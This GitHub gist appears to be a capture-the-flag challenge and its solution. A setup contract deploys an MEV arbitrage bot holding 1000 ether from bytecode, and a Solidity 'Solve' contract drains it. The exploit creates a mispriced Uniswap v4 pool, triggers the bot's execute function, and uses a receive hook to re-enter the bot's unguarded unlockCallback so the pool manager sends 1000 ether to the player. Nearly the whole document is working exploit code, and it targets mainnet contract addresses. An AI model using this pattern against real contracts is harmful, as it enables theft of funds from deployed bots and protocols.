Skip to content

Instantly share code, notes, and snippets.

@kangsangsoo
Created August 24, 2025 14:49
Show Gist options
  • Select an option

  • Save kangsangsoo/4201acc4ff776ada145df401f17f16b9 to your computer and use it in GitHub Desktop.

Select an option

Save kangsangsoo/4201acc4ff776ada145df401f17f16b9 to your computer and use it in GitHub Desktop.
import {IERC20} from "../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {PoolKey} from "../lib/v4-core/src/types/PoolKey.sol";
import {Currency} from "../lib/v4-core/src/types/Currency.sol";
import {IHooks} from "../lib/v4-core/src/interfaces/IHooks.sol";
import {IPoolManager} from "../lib/v4-core/src/interfaces/IPoolManager.sol";
import {PositionManager} from "../lib/v4-periphery/src/PositionManager.sol";
// import {IUniversalRouter} from "../lib/universal-router/contracts/interfaces/IUniversalRouter.sol";
// import {ModifyLiquidityParams, SwapParams} from "./types/PoolOperation.sol";
import {BalanceDelta, BalanceDeltaLibrary} from "../lib/v4-core/src/types/BalanceDelta.sol";
interface IMEVBot {
// -------- View functions --------
/// @notice Whitelist mapping getter
/// @param account Address to check
/// @return isWhitelisted True if account is whitelisted
function whitelist(address account) external view returns (bool isWhitelisted);
/// @notice Address of the Pool Manager used by this contract
function POOL_MANAGER() external view returns (address);
// -------- State-changing functions --------
/// @notice Entry that performs an `unlock` on the Pool Manager with `data`
/// @dev Payable: the call may pass ETH along
function execute(bytes calldata data) external payable;
/// @notice Callback expected to be called by the Pool Manager during `unlock`
function unlockCallback(bytes calldata rawData) external;
/// @notice Whitelisted caller forwards the entire ETH balance to `token` (an arbitrary address)
/// @param token Destination address to receive ETH via low-level call
function withdraw(address token) external;
/// @notice Whitelisted caller can set/unset whitelist status
function setWhitelist(address target, bool state) external;
// -------- ETH handling --------
/// @notice Accept plain ETH transfers
receive() external payable;
}
contract Setup {
uint256 constant DEPOSIT = 1000 ether;
address public immutable PLAYER_ADR;
address public immutable BOT_ADDR;
constructor(address playerAddr) payable {
require(msg.value == DEPOSIT, "Invalid initial balance");
PLAYER_ADR = playerAddr;
// Since this is an arbitrage contract for a MEV bot, including the source wouldn't make sense, but it's super simple. BYTECODE IS LAW ;p
bytes memory bytecode =
hex"608060405260015f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111f0806100655f395ff3fe608060405260043610610058575f3560e01c806309c5eabe1461006357806351cff8d91461007f57806353d6fd59146100a757806362308e85146100cf57806391dd7346146100f95780639b19251a146101355761005f565b3661005f57005b5f5ffd5b61007d600480360381019061007891906107b1565b610171565b005b34801561008a575f5ffd5b506100a560048036038101906100a09190610856565b610334565b005b3480156100b2575f5ffd5b506100cd60048036038101906100c891906108b6565b610468565b005b3480156100da575f5ffd5b506100e3610547565b6040516100f0919061094f565b60405180910390f35b348015610104575f5ffd5b5061011f600480360381019061011a91906107b1565b61055a565b60405161012c91906109d8565b60405180910390f35b348015610140575f5ffd5b5061015b60048036038101906101569190610856565b610723565b6040516101689190610a07565b60405180910390f35b60015f5f6101000a815c8160ff021916908315150217905d505f4790506e04444c5dc75cb358380d2e3de08a9073ffffffffffffffffffffffffffffffffffffffff166348c8949184846040518363ffffffff1660e01b81526004016101d8929190610a5a565b5f604051808303815f875af11580156101f3573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f8201168201806040525081019061021b9190610b96565b505f81476102299190610c13565b90505f811161026d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026490610ca0565b60405180910390fd5b5f3273ffffffffffffffffffffffffffffffffffffffff168260405161029290610ceb565b5f6040518083038185875af1925050503d805f81146102cc576040519150601f19603f3d011682016040523d82523d5f602084013e6102d1565b606091505b5050905080610315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161030c90610d49565b60405180910390fd5b5f5f5f6101000a815c8160ff021916908315150217905d505050505050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166103bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b390610db1565b60405180910390fd5b5f8173ffffffffffffffffffffffffffffffffffffffff16476040516103e190610ceb565b5f6040518083038185875af1925050503d805f811461041b576040519150601f19603f3d011682016040523d82523d5f602084013e610420565b606091505b5050905080610464576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045b90610d49565b60405180910390fd5b5050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166104f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e790610db1565b60405180910390fd5b805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6e04444c5dc75cb358380d2e3de08a9081565b60605f5f905c906101000a900460ff166105a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a090610e19565b60405180910390fd5b5f83838101906105b99190611087565b90505f5f90505b815181101561070a575f6e04444c5dc75cb358380d2e3de08a9073ffffffffffffffffffffffffffffffffffffffff16838381518110610603576106026110ce565b5b602002602001015160200151848481518110610622576106216110ce565b5b60200260200101515f01518585815181106106405761063f6110ce565b5b60200260200101516040015160405160200161065d92919061114b565b6040516020818303038152906040526040516106799190611172565b5f6040518083038185875af1925050503d805f81146106b3576040519150601f19603f3d011682016040523d82523d5f602084013e6106b8565b606091505b50509050806106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f3906111d2565b60405180910390fd5b5080806001019150506105c0565b5060405180602001604052805f81525091505092915050565b5f602052805f5260405f205f915054906101000a900460ff1681565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261077157610770610750565b5b8235905067ffffffffffffffff81111561078e5761078d610754565b5b6020830191508360018202830111156107aa576107a9610758565b5b9250929050565b5f5f602083850312156107c7576107c6610748565b5b5f83013567ffffffffffffffff8111156107e4576107e361074c565b5b6107f08582860161075c565b92509250509250929050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610825826107fc565b9050919050565b6108358161081b565b811461083f575f5ffd5b50565b5f813590506108508161082c565b92915050565b5f6020828403121561086b5761086a610748565b5b5f61087884828501610842565b91505092915050565b5f8115159050919050565b61089581610881565b811461089f575f5ffd5b50565b5f813590506108b08161088c565b92915050565b5f5f604083850312156108cc576108cb610748565b5b5f6108d985828601610842565b92505060206108ea858286016108a2565b9150509250929050565b5f819050919050565b5f61091761091261090d846107fc565b6108f4565b6107fc565b9050919050565b5f610928826108fd565b9050919050565b5f6109398261091e565b9050919050565b6109498161092f565b82525050565b5f6020820190506109625f830184610940565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6109aa82610968565b6109b48185610972565b93506109c4818560208601610982565b6109cd81610990565b840191505092915050565b5f6020820190508181035f8301526109f081846109a0565b905092915050565b610a0181610881565b82525050565b5f602082019050610a1a5f8301846109f8565b92915050565b828183375f83830152505050565b5f610a398385610972565b9350610a46838584610a20565b610a4f83610990565b840190509392505050565b5f6020820190508181035f830152610a73818486610a2e565b90509392505050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610ab682610990565b810181811067ffffffffffffffff82111715610ad557610ad4610a80565b5b80604052505050565b5f610ae761073f565b9050610af38282610aad565b919050565b5f67ffffffffffffffff821115610b1257610b11610a80565b5b610b1b82610990565b9050602081019050919050565b5f610b3a610b3584610af8565b610ade565b905082815260208101848484011115610b5657610b55610a7c565b5b610b61848285610982565b509392505050565b5f82601f830112610b7d57610b7c610750565b5b8151610b8d848260208601610b28565b91505092915050565b5f60208284031215610bab57610baa610748565b5b5f82015167ffffffffffffffff811115610bc857610bc761074c565b5b610bd484828501610b69565b91505092915050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610c1d82610bdd565b9150610c2883610bdd565b9250828203905081811115610c4057610c3f610be6565b5b92915050565b5f82825260208201905092915050565b7f4e6f2070726f666974206d6164650000000000000000000000000000000000005f82015250565b5f610c8a600e83610c46565b9150610c9582610c56565b602082019050919050565b5f6020820190508181035f830152610cb781610c7e565b9050919050565b5f81905092915050565b50565b5f610cd65f83610cbe565b9150610ce182610cc8565b5f82019050919050565b5f610cf582610ccb565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f610d33600f83610c46565b9150610d3e82610cff565b602082019050919050565b5f6020820190508181035f830152610d6081610d27565b9050919050565b7f4e6f742077686974656c697374656400000000000000000000000000000000005f82015250565b5f610d9b600f83610c46565b9150610da682610d67565b602082019050919050565b5f6020820190508181035f830152610dc881610d8f565b9050919050565b7f4e6f7420657865637574696e67000000000000000000000000000000000000005f82015250565b5f610e03600d83610c46565b9150610e0e82610dcf565b602082019050919050565b5f6020820190508181035f830152610e3081610df7565b9050919050565b5f67ffffffffffffffff821115610e5157610e50610a80565b5b602082029050602081019050919050565b5f5ffd5b5f5ffd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610e9e81610e6a565b8114610ea8575f5ffd5b50565b5f81359050610eb981610e95565b92915050565b610ec881610bdd565b8114610ed2575f5ffd5b50565b5f81359050610ee381610ebf565b92915050565b5f610efb610ef684610af8565b610ade565b905082815260208101848484011115610f1757610f16610a7c565b5b610f22848285610a20565b509392505050565b5f82601f830112610f3e57610f3d610750565b5b8135610f4e848260208601610ee9565b91505092915050565b5f60608284031215610f6c57610f6b610e62565b5b610f766060610ade565b90505f610f8584828501610eab565b5f830152506020610f9884828501610ed5565b602083015250604082013567ffffffffffffffff811115610fbc57610fbb610e66565b5b610fc884828501610f2a565b60408301525092915050565b5f610fe6610fe184610e37565b610ade565b9050808382526020820190506020840283018581111561100957611008610758565b5b835b8181101561105057803567ffffffffffffffff81111561102e5761102d610750565b5b80860161103b8982610f57565b8552602085019450505060208101905061100b565b5050509392505050565b5f82601f83011261106e5761106d610750565b5b813561107e848260208601610fd4565b91505092915050565b5f6020828403121561109c5761109b610748565b5b5f82013567ffffffffffffffff8111156110b9576110b861074c565b5b6110c58482850161105a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b61111561111082610e6a565b6110fb565b82525050565b5f61112582610968565b61112f8185610cbe565b935061113f818560208601610982565b80840191505092915050565b5f6111568285611104565b600482019150611166828461111b565b91508190509392505050565b5f61117d828461111b565b915081905092915050565b7f43616c6c6261636b20657865637574696f6e206661696c6564000000000000005f82015250565b5f6111bc601983610c46565b91506111c782611188565b602082019050919050565b5f6020820190508181035f8301526111e9816111b0565b905091905056";
address addr;
assembly {
addr := create(DEPOSIT, add(bytecode, 0x20), mload(bytecode))
}
BOT_ADDR = addr;
}
function isSolved() external view returns (bool) {
return BOT_ADDR.balance == 0 && PLAYER_ADR.balance >= DEPOSIT;
}
}
contract Solve {
struct Call {
bytes4 selector;
uint256 value;
bytes data;
}
address immutable public usdc_token = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
bytes32 immutable public ETH_usdc_pair = 0x3258f413c7a88cda2fa8709a589d221a80f6574f63df5a5b6774485d8acc39d9;
IPoolManager immutable public pool_manager = IPoolManager(payable(0x000000000004444c5dc75cB358380D2e3dE08A90));
PositionManager immutable public position_manager = PositionManager(payable(0xbD216513d74C8cf14cf4747E6AaA6420FF64ee9e));
// IUniversalRouter public universal_rounter = IUniversalRouter(0x66a9893cc07d91d95644aedd05d03f95e1dba8af);
Setup immutable public setup = Setup(0xe28E089DcF77A3AdAf98aADf5B6D3e901B27B1DC); //// need to change
IMEVBot immutable public mev;
constructor() payable {
mev = IMEVBot(payable(setup.BOT_ADDR()));
}
function solve() public {
pool_manager.unlock(hex'01');
PoolKey memory key = PoolKey({
currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰
currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰
fee: 15161, // 수수료 (예: 3000 = 0.3%)
tickSpacing: 10, // 틱 간격 (fee에 따라 결정)
hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0))
});
//// $5000: 5602277097478614198912276234240
uint160 sqrtPriceX96 = 5602277097478614198912276234240;
pool_manager.initialize(key, sqrtPriceX96);
// Approve tokens for pool manager
IERC20(usdc_token).approve(address(pool_manager), type(uint256).max);
pool_manager.unlock(hex'02');
PoolKey memory key1 = PoolKey({
currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰
currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰
fee: 15161, // 수수료 (예: 3000 = 0.3%)
tickSpacing: 10, // 틱 간격 (fee에 따라 결정)
hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0))
});
PoolKey memory key2 = PoolKey({
currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰
currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰
fee: 500, // 수수료 (예: 3000 = 0.3%)
tickSpacing: 10, // 틱 간격 (fee에 따라 결정)
hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0))
});
IPoolManager.SwapParams memory params1 = IPoolManager.SwapParams({
zeroForOne: true, // true = token0 → token1 (ETH → USDC)
amountSpecified: -1e17, // 음수 = exact input (0.1 ETH)
sqrtPriceLimitX96: 4295128739+1 // 최소 가격 제한 (슬리피지 방지)
});
IPoolManager.SwapParams memory params2 = IPoolManager.SwapParams({
zeroForOne: false, // true = token0 → token1 (ETH → USDC)
amountSpecified: -1612343, // 음수 = exact input (0.1 ETH)
sqrtPriceLimitX96: 1461446703485210103287273052203988822378723970342-1 // 최소 가격 제한 (슬리피지 방지)
});
//// ETH ->(내가 만든 풀) USDC ->(정상 풀) ETH
Call[] memory calls = new Call[](3);
// 1) swap 첫 번째
calls[0] = Call({
selector: IPoolManager.swap.selector,
data: abi.encode(key1, params1, ""),
value: 0
});
//// amount0: -427, amount1: 1612343
// 2) swap 두 번째
calls[1] = Call({
selector: IPoolManager.swap.selector,
data: abi.encode(key2, params2, ""),
value: 0
});
//// amount0: 373629447558389 [3.736e14], amount1: -1612343
// 3) take
calls[2] = Call({
selector: IPoolManager.take.selector,
data: abi.encode(Currency.wrap(address(0)), address(mev), 373629447558389 - 427),
value: 0
});
// lock 호출 시 encode
bytes memory rawData = abi.encode(calls);
mev.execute(rawData);
}
function unlockCallback(bytes calldata data) external returns (bytes memory) {
if(data[0] == hex'01') {
PoolKey memory key = PoolKey({
currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰
currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰
fee: 500, // 수수료 (예: 3000 = 0.3%)
tickSpacing: 10, // 틱 간격 (fee에 따라 결정)
hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0))
});
IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
zeroForOne: true, // true = token0 → token1 (ETH → USDC)
amountSpecified: -100000000000000000, // 음수 = exact input (0.1 ETH)
sqrtPriceLimitX96: 4295128739+1 // 최소 가격 제한 (슬리피지 방지)
});
BalanceDelta delta = pool_manager.swap(key, params, "");
pool_manager.settle{value: 0.1 ether}();
pool_manager.take(Currency.wrap(usdc_token), address(this), uint128(delta.amount1()));
}
if(data[0] == hex'02') {
IPoolManager.ModifyLiquidityParams memory params = IPoolManager.ModifyLiquidityParams({
tickLower: 80000, // 하한 틱
tickUpper: 90000, // 상한 틱
liquidityDelta: 1e5, // 추가할 유동성 양
salt: 0 // 고유한 포지션을 위한 salt
});
PoolKey memory key = PoolKey({
currency0: Currency.wrap(address(0)), // 더 낮은 주소를 가진 토큰
currency1: Currency.wrap(usdc_token), // 더 높은 주소를 가진 토큰
fee: 15161, // 수수료 (예: 3000 = 0.3%)
tickSpacing: 10, // 틱 간격 (fee에 따라 결정)
hooks: IHooks(address(0)) // 훅 컨트랙트 (없으면 address(0))
});
(BalanceDelta delta, BalanceDelta _delta) = pool_manager.modifyLiquidity(key, params, "");
pool_manager.sync(Currency.wrap(address(0)));
pool_manager.settle{value: uint128(-delta.amount0())}();
pool_manager.sync(Currency.wrap(usdc_token));
IERC20(usdc_token).transfer(address(pool_manager), uint128(-delta.amount1()));
pool_manager.settle();
}
if(data[0] == hex'03') {
// Call[] memory calls = new Call[](1);
Call[] memory calls2 = new Call[](3);
calls2[0] = Call({
selector: IPoolManager.sync.selector,
data: abi.encode(Currency.wrap(address(0))),
value: 0
});
calls2[2] = Call({
selector: IPoolManager.take.selector,
data: abi.encode(Currency.wrap(address(0)), address(setup.PLAYER_ADR()), 1000 ether),
value: 0
});
calls2[1] = Call({
selector: IPoolManager.settle.selector,
data: "",
value: 1000 ether
});
// calls[0] = Call({
// selector: IPoolManager.unlock.selector,
// data: abi.encode(calls2),
// value: 0
// });
// lock 호출 시 encode
bytes memory rawData = abi.encode(calls2);
mev.unlockCallback(rawData);
}
return '';
}
receive() external payable {
if(msg.value == 373629447557962) {
pool_manager.unlock(hex'03');
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment